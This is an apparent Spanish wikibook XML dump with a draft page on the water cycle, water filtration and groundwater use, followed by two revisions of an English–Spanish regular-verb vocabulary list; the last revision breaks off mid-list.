      <text bytes="8416" sha1="f88w1no9c82t1o11ufc1039q47mk78l" xml:space="preserve">&lt;center&gt;&lt;big&gt;&lt;big&gt;&lt;big&gt;'''Cómo Utilizar el Agua&lt;/big&gt;&lt;/big&gt;&lt;/big&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;

La civilización humana no podría sobrevivir sin agua. Desde los inicios de creación de toda sociedad, el agua se ha utilizado como un recurso fundamental para la subsistencia. Se sabe que el agua se utilizaba para cocinar de los tiempos de los….por los….
Se utilizaba para aumentar la producción de las cosechas desde…por los…
Estos tipos básicos de irrigación se siguen utilizando hoy en día, en muchas partes del mundo. Se conoce también que las civilizaciones tempranas utilizaban el agua como un mecanismo de revelación en la construcción…

== EL ciclo de agua ==

El agua es el recurso natural más importante para el éxito de cualquier comunidad o proyecto. Todas las fuentes de agua están vinculadas entre ellas en un amplio ciclo global. Es fundamental comprender este ciclo a la hora de tomar decisiones sobre qué tecnologías y procesos deberían utilizarse para el uso de los recursos de agua.


[[Archivo:Ciclo del agua.jpg|right|thumb|400px|Esta imagen se ha tomado prestada de Ciclo hidrológico. Se recomienda para la creación de diagramas para este proyecto, que se realicen sin texto y así que se puedan utilizar los mismos en las versiones traducidas. El propósito del dibujo debe ser educacional. Utilizar la siguiente plantilla[//commons.wikimedia.org/wiki/Template:PD*self PD*Self]]]

EL ciclo del agua consta de 4 fases principales de almacenaje/depósito que se detallan a continuación:

* En el océano
* En la atmósfera
* Sobre la tierra
* En el subsuelo

La mayor parte de l agua del mundo está almacenada en el Océano. Su calentamiento hace que el agua se evapore en el aire y se almacene en forma de vapor en las nubes hasta que cae a la tierra en forma de lluvia, granizo o nieve. Cuando el agua cae a la tierra puede producirse varios procesos de índole diferente. Puede ser almacenada en forma de nieve y hielo en las zonas frías del mundo, durante un largo periodo de tiempo; puede fluir por el suelo creando corrientes de agua/riachuelos, ríos y lagos; puede ser absorbida directamente por las plantas; o puede filtrarse al subsuelo.

El agua que se infiltra en la tierra forma parte del sistema de aguas subterráneas. Esta agua representa un recurso fundamental para el desarrollo ya que el proceso de infiltración, que puede llevar mucho tiempo con el agua recorriendo grandes distancias, causa que ésta se purifique y que se añadan importantes minerales.

== El agua potable ==

El agua potable es un recurso escaso en muchas partes del mundo. Además, se ve fácilmente afectada por diferentes tipos de polución. Antes de beber agua de una fuente desconocida, hay que realizar los tests de calidad pertinentes.

=== Test de calidad del agua ===

Un buen indicador de la calidad de una fuente de agua es el olor, el color y la cantidad de partículas. Estos tres conceptos indican que, antes de beber el agua, se debería filtrar, o lo que es mejor, hacer un test de laboratorio, si es posible.
Si el agua no es potable, existe un amplio abanico de procesos de filtración y depuración que pueden mejorar su calidad.

Para que el agua quede limpia y apta para el consumo existen varios procesos.
Vamos a empezar con el de floculacion, donde utilizamos una substancia quimica llamada sulfato de alumino, que atrapa a las basuras mas pequeñas como tierra, arena lodo piedras pequeñas, etc.
Este proceso tiene un limite de tiempo que son 40 minutos, con todas las basuras que recogio el sulfato se forma flocs o masas pesadas que se sedimentan. Luego entra el proceso de filtracion, con diferentes capas de arena y piedra( cama especial de arena como granito, grava, granilla, piedra pomes, piedras de ceramica, lapiedra pomes ayuda a retener excesos de minerales, y las de ceramica son para que el agua nuevamente tome velocidad)y por ultimo tenemos el proceso de cloracion donde se aplica cloro gas (0.025 ppm)

=== Filtrar el agua ===

Tanto en aguas contaminadas como en aguas de montaña sin filtrar/depurar, existen muchos organismos parasitarios y químicos inorgánicos peligrosos para los humanos; de ahí la importancia de filtrar el agua.
Si no disponemos de tecnologías o energías para el filtrado, la forma más sencilla de filtrar el agua es utilizando una tela. El agua sustraída de cualquier fuente es introducida en un contenedor dónde permanece hasta asentarse. A continuación, se pasa el agua a través de una tela plegada en 8 capas. El mejor material es el algodón. Este filtro básico es efectivo contra simples organismos y hasta cierto punto contra el cólera. Sin embargo, este método no es efectivo contra la gisrdia o el Cruptosporidium.
Los filtros más avanzados son los de carbón pero requieren un proceso de fabricación. Son de gran efectividad para el filtrado de la Clorina y compuestos orgánicos volátiles.
Los sistemas de filtración avanzados utilizados por todo el mundo para limpiar el agua potable se componen básicamente de los siguientes elementos:

* un filtro de sedimentos que atrapa partículas.
* un segundo filtro de sedimentos con poros más pequeños (incluido en algunas ocasiones)
* un filtro de carbono activado que atrapa organismos químicos y clorinación.
* un filtro de osmosis reversible con una fina membrana de composite plástico. 
* A menudo se utiliza también un segundo filtro de carbón para capturar aquellos elementos químicos que la membrana RO no ha podido filtrar.
* también se puede utilizar una lámpara de rayos ultravioletas para la desinfección y los microbios restantes.
Estos filtros varían en dimensión y capacidad si están orientados a grandes industrias que proporcionan agua a las ciudades o aparatos portátiles que utilizan la gravedad para filtrar el agua.
&lt;br /&gt;

== Extracción del subsuelo ==

El agua del subsuelo es generalmente el agua de mayor calidad/los acuíferos contienen el agua de mayor calidad disponible para el consumo humano y la irrigación. Durante todo el proceso de filtración natural a través de la tierra, el agua absorbe minerales necesarios para la vida, los agentes contaminantes son generalmente eliminados.
Los acuíferos se encuentran a diferentes profundidades en distintas regiones de la tierra. Esta profundidad también varía en el tiempo debido a la extracción de agua y a los procesos de regeneración que dependen de la lluvia y del confinamiento en ríos y lagos.
En zonas en las que los acuíferos están cercanos a la superficie, se pueden cavar a mano pequeños pozos o con la maquinaria disponible.

Si se dispone de maquinaria para perforar, se puede extraer agua de profundidades mayores.

* Bombas
* Cuerdas y bombas de arandela
* Bombas manuales
* Bombas
* Irrigación para la agricultura
* Sistema de canales
* Riego de aspersión
* Sistema de goteo
* Trasvase de agua

En muchas zonas del mundo, los ríos y arroyos son parcialmente desviados por tema de agregación. La ventaja de esto es proporcionar agua utilizando la gravedad.
No obstante, hay que tener muy en cuenta los efectos de reducir los flujos de los ríos o arroyos. La fauna y flora pueden verse afectadas de forma negativa al no poder sobrevivir en la estación seca. Estos cambios pueden afectar las vidas de las personas y animales que habitan río abajo.

TECNOLOGÍAS PARA LA AUTOSUFICIENCIA EN AGUA
*Sistemas de captación y almacenamiento de aguas pluviales
*Sistema de riego por goteo
*Restauración de arroyos
*Bomba de mecate
En este contexto vale analizar que cuando se le llama tecnología apropiada ¿apropiadas para o por quien?, ¿benefician a hombres, mujeres o a ambos?,¿qué necesidades están cubriendo?, ¿cómo se decidió trabajar en esta o aquella tecnología?. Es decir, es fundamental introducir la dimensión de género en los procesos de elaboración, diseño e implementación de una tecnología, para que ésta sea realmente apropiada, sea cual fuere el objetivo de desarrollarla. Por ejemplo, hay que tomar en cuenta las necesidades de hombres y mujeres cuando definimos qué tecnología es mas importante trabajar; considerar las necesidades diferenciadas de todos y participación en el diseño de la tecnología; analizar qué parte del proceso involucra a hombres y cual a las mujeres o a ambos.

== Links de interés ==

[[en:Technologies for Rural Development/Using water resources]]

{{AutoCat}}</text>
      <sha1>f88w1no9c82t1o11ufc1039q47mk78l</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Verbos regulares</title>
    <ns>0</ns>
    <id>12216</id>
    <revision>
      <id>429858</id>
      <parentid>343022</parentid>
      <timestamp>2026-08-01T22:05:40Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429858</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="15524" sha1="fg05vc10qrla1t9epg868qoacoc0qn6" xml:space="preserve">===Verbos regulares=== 

*'''to accept:''' aceptar
*'''to ache:''' doler
*'''to add:''' añadir, sumar
*'''to admire:''' admirar
*'''to admit:''' admitir
*'''to advertise:''' avisar, anunciar
*'''to advise:''' aconsejar
*'''to agree:''' acordar, concretar
*'''to allow:''' permitir, consentir
*'''to amuse: '''entretener, distraer
*'''to answer:''' responder
*'''to arrive:''' llegar
*'''to ask:''' preguntar, pedir
*'''to attack:''' atacar
*'''to attend:''' asistir
*'''to bake:''' cocer (en horno)
*'''to bathe:''' bañar, lavar
*'''to believe:''' creer, entender
*'''to belong:''' pertenecer
*'''to boil:''' hervir
*'''to breathe:''' respirar
*'''to brush:''' cepillar
*'''to call:''' llamar, visitar
*'''to carry:''' llevar
*'''to change:''' cambiar
*'''to chat:''' charlar
*'''to clean:''' limpiar
*'''to clear:''' aclarar, despejar
*'''to climb:''' trepar, escalar
*'''to complain:''' lamentarse, quejarse
*'''to cook:''' cocinar
*'''to cool:''' enfriar
*'''to cough:''' toser
*'''to count:''' contar (numerales)
*'''to course:''' perseguir, correr
*'''to cover:''' cubrir
*'''to crawl:''' arrastrarse
*'''to cross:''' cruzar
*'''to cry:''' gritar, llorar
*'''to dance:''' bailar
*'''darn:''' zurcir
*'''date:''' datar, fijar fecha
*'''deceive:''' engañar
*'''decide:''' decidir
*'''decrease:''' decrecer, reducir
*'''defeat:''' derrotar, vencer
*'''defy:''' desafiar, provocar
*'''delay:''' retardar, diferir
*'''deny:''' negar
*'''develop:''' desenvolver, desarrollar
*'''die:''' morir
*'''dine:''' cenar
*'''dirty:''' ensuciar
*'''disagree:''' estar en desacuerdo
*'''discover:''' descubrir
*'''dislike:''' disgustar (no gustar)
*'''dive:''' bucear, zambullirse
*'''drop:''' gotear, dejar caer
*'''dry:''' secar
*'''dye:''' teñir
*'''earn:''' ganar (dinero)
*'''employ:''' usar, emplear
*'''empty:''' vaciar
*'''enjoy:''' disfrutar
*'''escape:''' huir, escapar
*'''excuse:''' dispensar
*'''explain:''' explicar
*'''fail:''' engañar, quebrar, fallar
*'''fear:''' temer
*'''finish:''' acabar
*'''fish:''' pescar
*'''fit:''' ajustar, acomodar
*'''follow:''' seguir, proseguir
*'''fry:''' freír
*'''gamble:''' jugarse (el dinero)
*'''grease:''' engrasar, untar
*'''greet:''' felicitar, saludar
*'''guess:''' adivinar, acertar
*'''hang:''' ahorcar
*'''happen:''' acontecer, ocurrir
*'''haste(n):''' darse prisa
*'''hate:''' odiar
*'''heat:''' calentar
*'''help:''' ayudar, socorrer
*'''hire:''' alquilar
*'''hurry:''' acelerar, apresurar, apurarse
*'''import:''' importar
*'''improve:''' mejorar, perfeccionarse
*'''increase:''' aumentar
*'''inquire:''' preguntar, averiguar
*'''insure:''' asegurar, garantizar
*'''iron:''' planchar
*'''join:''' juntar, unir
*'''joke:''' bromear
*'''judge:''' juzgar
*'''jump:''' saltar
*'''kill:''' matar
*'''kiss:''' besar
*'''knock:''' golpear, llamar (con los puños)
*'''land:''' desembarcar, pisar tierra
*'''last:''' durar, subsistir
*'''laugh:''' reír
*'''lie:''' mentir
*'''lift:''' alzar, elevar
*'''like:''' gustar, agradar
*'''listen:''' escuchar
*'''live:''' vivir
*'''load:''' cargar
*'''lock:''' cerrar, encerrar
*'''lodge:''' alojar, hospedar
*'''look:''' mirar, buscar, parecerse
*'''love:''' amar
*'''manage:''' manejar, dirigir
*'''marry:''' casar, casarse
*'''mend:''' componer, reparar
*'''milk:''' ordeñar
*'''mince:''' desmenuzar, pronunciar con afectación
*'''mind:''' reparar, observar
*'''mix:''' mezclar
*'''move:''' mover
*'''murder:''' matar, asesinar
*'''nail:''' clavar
*'''name:''' nombrar
*'''need:''' necesitar
*'''neglect:''' descuidar, omitir
*'''obey:''' obedecer
*'''obtain:''' obtener, adquirir
*'''occupy:''' ocupar, estar en (habitar)
*'''offer:''' ofrecer
*'''open:''' abrir, destapar
*'''order:''' ordenar, encargar, mandar
*'''owe:''' deber, estar obligado a 
*'''pack:''' empaquetar
*'''paint:''' pintar
*'''pardon:''' perdonar, excusar
*'''pass:''' pasar, exceder
*'''pick:''' escoger, entresacar, picar
*'''place:''' colocar, poner, situar
*'''play:''' jugar, ejecutar música
*'''please:''' deleitar, agradar
*'''plough:''' arar
*'''point:''' apuntar, señalar
*'''posses:''' poseer
*'''post:''' anunciar por carteles, echar al correo
*'''pour:''' verter, escanciar
*'''pray:''' rogar, pedir, rezar
*'''pretend:''' aparentar, pretender
*'''print:''' imprimir
*'''produce:''' producir
*'''prove:''' probar, justificar
*'''provide:''' proveer
*'''pull:''' tirar de (hacia sí), arrancar
*'''punish:''' castigar
*'''push:''' empujar
*'''rain:''' llover
*'''reach:''' alcanzar, llegar a
*'''refer:''' referir, remitir
*'''regret:''' sentir, lamentar
*'''remain:''' permanecer, persistir
*'''remember:''' recordar, tener presente
*'''remind:''' acordar, hacer presente
*'''remove:''' remover, cambiar de sitio
*'''rent:''' alquilar
*'''rest:''' descansar, dormir
*'''return:''' regresar, devolver
*'''reward:''' premiar, recompensar
*'''rinse:''' enjuagar, aclarar con agua
*'''ripen:''' madurar
*'''roast:''' asar, tostar
*'''sail:''' navegar
*'''save:''' salvar, ahorrar
*'''scratch:''' rascar, arañar
*'''seem:''' parecer
*'''serve:''' servir, convenir
*'''shake:''' sacudir, agitar
*'''sharpen:''' afilar, amolar
*'''ship:''' embarcar
*'''shop:''' ir de compras
*'''show:''' mostrar, presentar
*'''shut:''' cerrar
*'''sin:''' pecar
*'''slip:''' resbalar
*'''smile:''' sonreír
*'''smoke:''' fumar, humear
*'''sneeze:''' estornudar
*'''sound:''' sonar, tocar, pulsar
*'''spoil:''' estropear, despojar, mimar
*'''start:''' iniciar, empezar a moverse
*'''stay:''' quedarse, pararse
*'''stop:''' detener, parar
*'''study:''' estudiar
*'''suceed:''' suceder, tiunfar, salir a delante
*'''suffer:''' sufrir
*'''supply:''' suplir, suministrar
*'''switch:''' conmutar (la luz)
*'''talk:''' hablar
*'''taste:''' gustar, probar
*'''thank:''' agradecer
*'''threaten:''' amenazar
*'''tie:''' atar, anudar
*'''toast:''' brindar, tostar
*'''touch:''' tocar
*'''trade:''' comerciar, negociar
*'''translate:''' traducir
*'''travel:''' viajar, navegar
*'''trust:''' confiar, dar crédito
*'''turn:''' volver, convertir
*'''use:''' usar, emplear
*'''visit:''' visitar, ir a ver
*'''wait:''' esperar, aguardar
*'''walk:''' andar, caminar, pasearse
*'''want:''' necesitar, carecer de 
*'''warn:''' avisar, prevenir
*'''wash:''' lavar, bañar
*'''waste:''' malgastar, derrochar
*'''watch:''' velar, vigilar
*'''weigh:''' pesar, examinar
*'''wet:''' mojar
*'''whistle:''' silbar
*'''wish:''' desear, querer
*'''work:''' trabajar
*'''worry:''' acosar, molestar, inquietarse

===Otros verbos regulares===

*'''abandon:''' abandonar
*'''abbreviate:''' abreviar
*'''absorb:''' absorber
*'''abuse:''' abusar
*'''accompany:''' acompañar
*'''accomplish:''' efectuar, llevar a cabo
*'''accord:''' conceder
*'''account:''' considerar
*'''accuse:''' acusar
*'''acknowledge:'''reconocer
*'''acquire:''' adquirir
*'''adjoin:''' juntar, unir, lindar
*'''advance:''' avanzar
*'''affirm:''' afirmar
*'''affix:''' fijar, pegar
*'''afford:''' poder soportar
*'''agitate:''' agitar
*'''aid:''' ayudar
*'''allot:''' repartir, distribuir
*'''amass:''' acumular
*'''amaze:''' asombrar
*'''amend:''' reformarse, corregirse
*'''amount:''' importar (un precio)
*'''anger:''' enfandar, enfurecer
*'''announce:''' anunciar
*'''annoy:''' molestar, enojar
*'''appeal:'''  llamar, apelar
*'''apply:''' aplicar, acomodar
*'''appoint:''' señalar, asignar
*'''appreciate:''' apreciar
*'''approach:''' acercarse, aproximarse
*'''approve:''' aprobar, consentir
*'''argue:''' discutir, alegar
*'''arouse:''' despertar, mover
*'''assail:''' asaltar, acometer
*'''assure:''' asegurar, afirmar
*'''attach:''' pegar, juntar
*'''attain:''' alcanzar
*'''attemp:''' intentar
*'''authorize:''' autorizar
*'''avoid:''' evitar, salvar
*'''await:''' aguardar
*'''beam:''' destellar, fulgurar
*'''beautify:''' hermosear(se)
*'''befool:''' engañar, burlarse
*'''beg:''' mendigar, rogar
*'''beseech:''' suplicar, rogar
*'''bet:''' apostar
*'''betray:''' traicionar
*'''blast:''' marchitar, secar, volar
*'''bless:''' bendecir
*'''blind:''' cegar, deslumbrar
*'''bloom:''' florecer
*'''blossom:''' florecer
*'''breakfast:''' desayunar
*'''bury:''' enterrar
*'''care:''' cuidar
*'''caress:''' acariciar
*'''cause:''' causar
*'''certify:''' atestiguar
*'''charge:''' cargar
*'''charm:''' embelesar, encantar
*'''chase:''' perseguir
*'''chew:''' masticar
*'''claim:''' reclamar, demandar
*'''close:''' cerrar
*'''coil:''' enrollar
*'''comb:''' peinar
*'''commence:''' comenzar
*'''compel:''' obligar, apremiar
*'''compound:''' componer, arreglar
*'''conceal:''' esconder, desmentir
*'''connect:''' conectar 
*'''contend:''' disputar
*'''content:''' contentar, satisfacer
*'''contrive:''' inventar, imaginar
*'''corn:''' curar, sanar
*'''covet:''' codiciar, apetecer
*'''crash:''' fracasar, romper, estallar
*'''crush:''' aplastar
*'''curl:''' rizar
*'''damage:''' dañar
*'''damn:''' condenar
*'''dare:''' atreverse, osar, desafiar, provocar
*'''dash:''' arrojar, rociar
*'''dawn:''' amanecer
*'''deafen:''' ensordecer
*'''debit:''' cargar, adeudar
*'''decease:''' morir, fallecer
*'''deepen:''' profundizar
*'''defer:''' diferir
*'''deflect:''' desviar
*'''delight:''' deleitar, agradar
*'''deliver:''' entregar
*'''desire:''' desear
*'''destroy:''' destruir
*'''detach:''' destacar, despegar
*'''detain:''' detener
*'''detest:''' odiar
*'''dice:''' jugar a los dados
*'''disguise:''' disfrazar
*'''distress:''' angustiar, afligir
*'''disturb:''' disturbar, molestar
*'''doubt:''' dudar
*'''drag:''' arrastrar
*'''drizzle:''' lloviznar
*'''elope:''' fugarse, escaparse (con un amante)
*'''embrace:''' abrazar
*'''embroider:''' bordar
*'''encourage:''' animar
*'''end:''' acabar
*'''enervate:''' enervar
*'''engage:''' comprometer
*'''enter:''' entrar, ingresar
*'''enterprise:''' emprender
*'''envelop:''' envolver, cubrir
*'''erase:''' borrar
*'''expel:''' arrojar, despedir
*'''expend:''' expender, emplear
*'''fill:''' llenar, henchir
*'''fire:''' encender, disparar
*'''flatter:''' adular, halagar
*'''free:''' libertar
*'''furnish:''' surtir, proveer
*'''gain:''' ganar
*'''gaze:''' contemplar, encandilarse
*'''glance:''' mirar de soslayo
*'''glare:''' mirar con ojos penetrantes
*'''glue:''' encolar, pegar
*'''grasp:''' agarrar
*'''groan:''' gemir, suspirar
*'''grope:''' andar a tientas, palpar
*'''hail:''' aclamar, vivar
*'''halt:''' mandar hacer alto
*'''hand:''' dar, alargar (a la mano)
*'''harm:''' dañar, agraviar
*'''hash:''' picar, desmenuzar
*'''hearten:''' animar, alentar
*'''hint:''' apuntar, sugerir
*'''hunt:''' cazar
*'''idle:''' haraganear
*'''issue:''' editar, lanzar
*'''joint:''' reunir, agregar
*'''kick:''' patear, dar coces
*'''kidnap:''' secuestrar
*'''knoll:''' doblar las campanas
*'''knot:''' anudar, enmarañar
*'''label:''' clasificar, rotular
*'''lack:''' carecer
*'''lash:''' azotar
*'''lengthen:''' alargar, extender
*'''lighten:''' iluminar, alumbrar, aliviar
*'''limp:''' cojear
*'''loose:''' desatar, desprender
*'''lynch:''' linchar
*'''match:''' igualar, emparejar
*'''mesh:''' enredar, tomar con red
*'''mill:''' moler
*'''miscall:''' difamar
*'''miss:''' perder (el tren, etc.), echar de menos 
*'''mist:''' empañar
*'''moan:''' lamentar
*'''moisten:''' humedecer
*'''mope:''' dormitar, estar pensativo
*'''mother:''' prohijar, adoptar hijos pequeños
*'''motion:''' hacer señas (moviendose)
*'''mutter:''' murmurar, rezongar
*'''nod:''' cabecear, inclinar la cabeza (asintiendo)
*'''oppose:''' oponer, resistir
*'''parcel:''' partir, dividir
*'''perform:''' ejecutar, poner por obra
*'''pet:''' mimar
*'''pierce:''' penetrar, acribillar
*'''plunge:''' zambullirse
*'''praise:''' celebrar, alabar
*'''present:''' regalar, presentar
*'''press:''' prensar, apremiar
*'''pride:''' jactarse, enorgullecerse
*'''prize:''' apreciar, estimar
*'''proceed:''' proceder, proseguir
*'''puzzle:''' embrollar, enredar, confundir
*'''quarrel:''' reñir, disputar
*'''quicken:''' vivificar, acelerar
*'''raise:''' levantar, alzar
*'''rate:''' tasar, fijar precio
*'''ravish:''' atraer, seducir
*'''reap:''' cosechar
*'''record:''' registrar, inscribir, fijar en la memoria
*'''recover:''' recuperar, rescatar
*'''recruit:''' reclutar, alistar
*'''rejoice:''' regocijar, alegrar
*'''release:''' soltar, desprender
*'''relieve:''' socorrer, redimir
*'''relish:''' saborear, paladear
*'''remark:''' observar, advertir
*'''request:''' rogar, suplicar
*'''rescue:''' librar, rescatar
*'''research:''' investigar
*'''scatter:''' esparcir, derramar
*'''search:''' buscar
*'''season:''' sazonar, condimentar
*'''seat:''' asentar, establecer
*'''seed:''' sementar, granar
*'''shame:''' avergonzar
*'''shape:''' modelar, dar forma
*'''share:''' distribuir, repartir, compartir
*'''shatter:''' romperse, destrozar
*'''shiver:''' tiritar, tener escalofríos
*'''shock:''' chocar, conmocionar
*'''sicken:''' enfermar, dar asco
*'''sigh:''' suspirar
*'''sight:''' divisar, avistar a lo lejos
*'''skate:''' patinar
*'''sketch:''' abocetar, diseñar
*'''slake:''' extinguir, apagar, moderar
*'''smack:''' hacer ruido chupando, chasquear un beso
*'''smash:''' aplastar
*'''smooth:''' alisar, pulir
*'''snore:''' roncar
*'''soak:''' remojar, empapar
*'''soap:''' enjabonar
*'''soften:''' ablandar, suavizar
*'''soil:''' ensuciar, manchar
*'''sorrow:''' afligirse, entristecerse
*'''span:''' medir a palmos, extenderse sobre
*'''splash:''' salpicar, enlodar, rociar
*'''squat:''' agazaparse, ocupar un lugar sin derecho
*'''stain:''' manchar
*'''steady:''' sostener, fijar, afirmar
*'''step:''' andar (paso a paso)
*'''stoop:''' agacharse
*'''store:''' surtir, proveer, amontonar
*'''stray:''' descarriarse, desviarse del deber
*'''stream:''' correr, manar, fluir
*'''strengthen:''' fortalecer, confortar
*'''strecht:''' extender
*'''struggle:''' luchar, bregar
*'''stumble:''' tropezar
*'''subdue:''' sojuzgar, subyugar
*'''submit:''' someterse, rendirse
*'''surrender:''' entregarse, renunciar, rendirse
*'''swab:''' fregar, limpiar
*'''swallow:''' tragar, engullir
*'''tame:''' domar, amansar 
*'''tap:''' golpear ligeramente
*'''test:''' expirementar, poner a prueba
*'''thieve:''' robar, hurtar
*'''thread:''' enhebrar, ensartar
*'''thrill:''' emocionar
*'''thunder:''' tronar
*'''tire:''' cansar
*'''trail:''' seguir el rastro
*'''treat:''' tratar, convidar
*'''tremble:''' temblar
*'''trick:''' engañar
*'''trim:''' componer, ataviar
*'''trip:''' tropezar, echar la zancadilla
*'''try:''' ensayar, probar
*'''twist:''' torcer, trenzar
*'''unbolt:''' descerrojar
*'''underline:''' subrayar
*'''unfasten:''' desatar, soltar
*'''unite:''' unir, concordar
*'''value:'''' valuar, tasar
*'''vanish:''' desvanecerse, desaparecer
*'''vary:''' cambiar, mudar
*'''verify:''' verificar, comprobar
*'''vex:''' vejar, molestar, inquietar
*'''view:''' mirar, ver, examinar
*'''void:''' anular, vaciar, viciar
*'''wabble:''' balancearse, oscilar
*'''wander:''' vagar, errar
*'''water:''' regar, humedecer
*'''wax:''' encerar
*'''weaken:''' debilitar
*'''wed:''' desposar, casar, contraer matrimonio
*'''wheel:''' hacer rodar, rodar
*'''whisper:''' susurrar, cuchichear
*'''wonder:''' desear sabér, extrañar, maravillarse
*'''wound:''' herir, lastimar, ofender
*'''wrangle:''' reñir, disputar
*'''wrinkle:''' arrugar
*'''yawn:''' bostezar, anhelar
*'''yearn:''' ambicionar, suspirar por
*'''yell:''' vociferar, decir a gritos
*'''yoke:''' unir, sojuzgar, apadrinar


==== Video externo para facilitar el aprendizaje ====

[http://www.youtube.com/watch?v=x_3ijQGMWPI PRONUNCIACION DE VERBOS REGULARES -- Pronunciation of Regular Verbs ]


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>fg05vc10qrla1t9epg868qoacoc0qn6</sha1>
    </revision>
    <revision>
      <id>429929</id>
      <parentid>429858</parentid>
      <timestamp>2026-08-01T22:09:18Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429929</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="15484" sha1="h3dnwr0jadgbilvdyz2jlhaserxhme3" xml:space="preserve">===Verbos regulares=== 

*'''to accept:''' aceptar
*'''to ache:''' doler
*'''to add:''' añadir, sumar
*'''to admire:''' admirar
*'''to admit:''' admitir
*'''to advertise:''' avisar, anunciar
*'''to advise:''' aconsejar
*'''to agree:''' acordar, concretar
*'''to allow:''' permitir, consentir
*'''to amuse: '''entretener, distraer
*'''to answer:''' responder
*'''to arrive:''' llegar
*'''to ask:''' preguntar, pedir
*'''to attack:''' atacar
*'''to attend:''' asistir
*'''to bake:''' cocer (en horno)
*'''to bathe:''' bañar, lavar
*'''to believe:''' creer, entender
*'''to belong:''' pertenecer
*'''to boil:''' hervir
*'''to breathe:''' respirar
*'''to brush:''' cepillar
*'''to call:''' llamar, visitar
*'''to carry:''' llevar
*'''to change:''' cambiar
*'''to chat:''' charlar
*'''to clean:''' limpiar
*'''to clear:''' aclarar, despejar
*'''to climb:''' trepar, escalar
*'''to complain:''' lamentarse, quejarse
*'''to cook:''' cocinar
*'''to cool:''' enfriar
*'''to cough:''' toser
*'''to count:''' contar (numerales)
*'''to course:''' perseguir, correr
*'''to cover:''' cubrir
*'''to crawl:''' arrastrarse
*'''to cross:''' cruzar
*'''to cry:''' gritar, llorar
*'''to dance:''' bailar
*'''darn:''' zurcir
*'''date:''' datar, fijar fecha
*'''deceive:''' engañar
*'''decide:''' decidir
*'''decrease:''' decrecer, reducir
*'''defeat:''' derrotar, vencer
*'''defy:''' desafiar, provocar
*'''delay:''' retardar, diferir
*'''deny:''' negar
*'''develop:''' desenvolver, desarrollar
*'''die:''' morir
*'''dine:''' cenar
*'''dirty:''' ensuciar
*'''disagree:''' estar en desacuerdo
*'''discover:''' descubrir
*'''dislike:''' disgustar (no gustar)
*'''dive:''' bucear, zambullirse
*'''drop:''' gotear, dejar caer
*'''dry:''' secar
*'''dye:''' teñir
*'''earn:''' ganar (dinero)
*'''employ:''' usar, emplear
*'''empty:''' vaciar
*'''enjoy:''' disfrutar
*'''escape:''' huir, escapar
*'''excuse:''' dispensar
*'''explain:''' explicar
*'''fail:''' engañar, quebrar, fallar
*'''fear:''' temer
*'''finish:''' acabar
*'''fish:''' pescar
*'''fit:''' ajustar, acomodar
*'''follow:''' seguir, proseguir
*'''fry:''' freír
*'''gamble:''' jugarse (el dinero)
*'''grease:''' engrasar, untar
*'''greet:''' felicitar, saludar
*'''guess:''' adivinar, acertar
*'''hang:''' ahorcar
*'''happen:''' acontecer, ocurrir
*'''haste(n):''' darse prisa
*'''hate:''' odiar
*'''heat:''' calentar
*'''help:''' ayudar, socorrer
*'''hire:''' alquilar
*'''hurry:''' acelerar, apresurar, apurarse
*'''import:''' importar
*'''improve:''' mejorar, perfeccionarse
*'''increase:''' aumentar
*'''inquire:''' preguntar, averiguar
*'''insure:''' asegurar, garantizar
*'''iron:''' planchar
*'''join:''' juntar, unir
*'''joke:''' bromear
*'''judge:''' juzgar
*'''jump:''' saltar
*'''kill:''' matar
*'''kiss:''' besar
*'''knock:''' golpear, llamar (con los puños)
*'''land:''' desembarcar, pisar tierra
*'''last:''' durar, subsistir
*'''laugh:''' reír
*'''lie:''' mentir
*'''lift:''' alzar, elevar
*'''like:''' gustar, agradar
*'''listen:''' escuchar
*'''live:''' vivir
*'''load:''' cargar
*'''lock:''' cerrar, encerrar
*'''lodge:''' alojar, hospedar
*'''look:''' mirar, buscar, parecerse
*'''love:''' amar
*'''manage:''' manejar, dirigir
*'''marry:''' casar, casarse
*'''mend:''' componer, reparar
*'''milk:''' ordeñar
*'''mince:''' desmenuzar, pronunciar con afectación
*'''mind:''' reparar, observar
*'''mix:''' mezclar
*'''move:''' mover
*'''murder:''' matar, asesinar
*'''nail:''' clavar
*'''name:''' nombrar
*'''need:''' necesitar
*'''neglect:''' descuidar, omitir
*'''obey:''' obedecer
*'''obtain:''' obtener, adquirir
*'''occupy:''' ocupar, estar en (habitar)
*'''offer:''' ofrecer
*'''open:''' abrir, destapar
*'''order:''' ordenar, encargar, mandar
*'''owe:''' deber, estar obligado a 
*'''pack:''' empaquetar
*'''paint:''' pintar
*'''pardon:''' perdonar, excusar
*'''pass:''' pasar, exceder
*'''pick:''' escoger, entresacar, picar
*'''place:''' colocar, poner, situar
*'''play:''' jugar, ejecutar música
*'''please:''' deleitar, agradar
*'''plough:''' arar
*'''point:''' apuntar, señalar
*'''posses:''' poseer
*'''post:''' anunciar por carteles, echar al correo
*'''pour:''' verter, escanciar
*'''pray:''' rogar, pedir, rezar
*'''pretend:''' aparentar, pretender
*'''print:''' imprimir
*'''produce:''' producir
*'''prove:''' probar, justificar
*'''provide:''' proveer
*'''pull:''' tirar de (hacia sí), arrancar
*'''punish:''' castigar
*'''push:''' empujar
*'''rain:''' llover
*'''reach:''' alcanzar, llegar a
*'''refer:''' referir, remitir
*'''regret:''' sentir, lamentar
*'''remain:''' permanecer, persistir
*'''remember:''' recordar, tener presente
*'''remind:''' acordar, hacer presente
*'''remove:''' remover, cambiar de sitio
*'''rent:''' alquilar
*'''rest:''' descansar, dormir
*'''return:''' regresar, devolver
*'''reward:''' premiar, recompensar
*'''rinse:''' enjuagar, aclarar con agua
*'''ripen:''' madurar
*'''roast:''' asar, tostar
*'''sail:''' navegar
*'''save:''' salvar, ahorrar
*'''scratch:''' rascar, arañar
*'''seem:''' parecer
*'''serve:''' servir, convenir
*'''shake:''' sacudir, agitar
*'''sharpen:''' afilar, amolar
*'''ship:''' embarcar
